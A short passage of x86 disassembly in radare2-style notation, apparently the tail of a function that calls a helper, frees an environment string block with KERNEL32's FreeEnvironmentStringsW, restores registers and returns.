test eax, eax
jne 0x1001c6ce
push edi
call fcn.100161f2
jmp 0x1001c6d6
push ebx
call fcn.100161f2
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret